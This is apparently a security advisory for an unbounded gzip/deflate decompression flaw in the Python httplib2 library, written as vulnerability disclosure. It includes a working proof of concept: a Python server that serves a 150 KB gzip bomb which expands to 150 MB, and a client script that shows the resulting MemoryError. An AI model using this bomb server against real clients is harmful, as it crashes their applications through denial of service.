PyPI · httplib2
httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling
The httplib2 HTTP client library performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing MemoryError or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.
Any application using httplib2.Http().request() against untrusted or attacker-controlled HTTP endpoints is affected.
Affected code: httplib2/__init__.py - _decompressContent() function
The decompression path has two unbounded operations:
gzip decompression (line 394):
content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()
The .read() call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.
deflate decompression (line 397):
content = zlib.decompress(content, zlib.MAX_WBITS)
Similarly, zlib.decompress() returns the fully decompressed content as a single bytes object with no size bound.
Automatic invocation (line 1431): _decompressContent() is called automatically on every HTTP response that includes a Content-Encoding: gzip or deflate header. The full compressed body is already buffered in memory via response.read() before decompression begins.
Root cause: There is no max_decompressed_size, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size.
Attack vector: Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:
Content-Encoding: gzip headerStep 1 - Start a malicious HTTP server that serves a gzip decompression bomb:
#!/usr/bin/env python3
"""Malicious HTTP server that serves a gzip decompression bomb."""
import gzip
import http.server
import io
import socketserver
UNCOMPRESSED_SIZE = 150 * 1024 * 1024 # 150 MB
def make_payload():
"""Create a gzip payload: ~150 KB compressed -> 150 MB decompressed."""
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
chunk = b"A" * (1024 * 1024) # 1 MB of repeating bytes
for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
gz.write(chunk)
return buf.getvalue()
PAYLOAD = make_payload()
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Encoding", "gzip")
self.send_header("Content-Length", str(len(PAYLOAD)))
self.end_headers()
self.wfile.write(PAYLOAD)
def log_message(self, fmt, *args):
pass
with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd:
print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> "
f"{UNCOMPRESSED_SIZE} bytes decompressed")
httpd.serve_forever()
Step 2 - Run the httplib2 client (in a separate terminal):
#!/usr/bin/env python3
"""Client that demonstrates MemoryError from httplib2 decompression bomb."""
import resource
import httplib2
# Set a 180 MB memory limit to make the crash deterministic
LIMIT_MB = 180
limit = LIMIT_MB * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
http = httplib2.Http(timeout=5)
try:
response, content = http.request("http://127.0.0.1:8000/")
print(f"Unexpected success: received {len(content)} bytes")
except MemoryError:
print(f"MemoryError confirmed: decompression bomb exhausted "
f"{LIMIT_MB} MB memory limit")
# This is the expected outcome - the 150 KB compressed payload
# expanded to 150 MB during decompression, exceeding the limit.
Expected output (client):
MemoryError confirmed: decompression bomb exhausted 180 MB memory limit
Reproduction metrics:
MemoryError triggered during gzip.GzipFile.read()Severity: High
Any application using httplib2 to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.
| Parameter | Value |
|---|---|
| Compressed payload | ~150 KB |
| Decompressed size | 150 MB (configurable by attacker) |
| Amplification ratio | ~1,029x |
| Authentication required | None |
| User interaction required | None |
| Prerequisites | Client makes any HTTP request to attacker-controlled server |
Real-world scenarios:
Impact scaling: The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.
Downstream exposure: httplib2 is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google's API client libraries (google-api-python-client, google-auth-httplib2), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.
Found by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/
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Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.